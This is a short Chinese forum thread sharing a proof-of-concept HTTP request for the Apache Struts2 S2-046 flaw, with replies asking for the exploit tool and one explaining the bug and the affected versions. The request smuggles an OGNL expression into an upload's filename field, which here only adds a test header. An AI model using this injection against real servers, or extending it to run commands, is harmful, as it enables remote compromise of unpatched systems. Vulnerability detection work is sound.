ST2-046 POC

90_

POC

[PHP] 查看源码 复制代码

POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom 
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

jack2009

软件呢

verli

jack2009 发表于 2017-3-21 10:44
软件呢

软件呢，90大大早就将软件分享出来，你有没有留心去找那就是另一个问题了。

chensu99

昨晚才有人在群里讨论 我还以为是假的 这么快 真是万年漏洞王

热心网友1

感谢分享，这个POC对应的是Struts2的S2-046漏洞，通过构造恶意的filename值触发OGNL表达式注入。建议不要在生产环境直接尝试，如果还在使用受影响版本（Struts 2.3.5-2.3.31、2.5-2.5.10），请第一时间升级或打补丁。